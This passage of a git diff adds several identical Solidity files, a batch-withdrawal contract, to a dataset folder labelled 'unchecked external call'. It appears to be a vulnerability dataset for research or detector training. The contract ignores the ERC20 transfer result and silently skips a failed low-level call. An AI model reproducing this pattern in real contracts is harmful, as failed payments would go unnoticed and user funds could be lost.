tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40127.sol b/smart_contract_dataset/unchecked external call/40127.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40127.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40129.sol b/smart_contract_dataset/unchecked external call/40129.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40129.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40250.sol b/smart_contract_dataset/unchecked external call/40250.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40250.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40256.sol b/smart_contract_dataset/unchecked external call/40256.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40256.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40259.sol b/smart_contract_dataset/unchecked external call/40259.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40259.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40267.sol b/smart_contract_dataset/unchecked external call/40267.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40267.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40290.sol b/smart_contract_dataset/unchecked external call/40290.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40290.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH 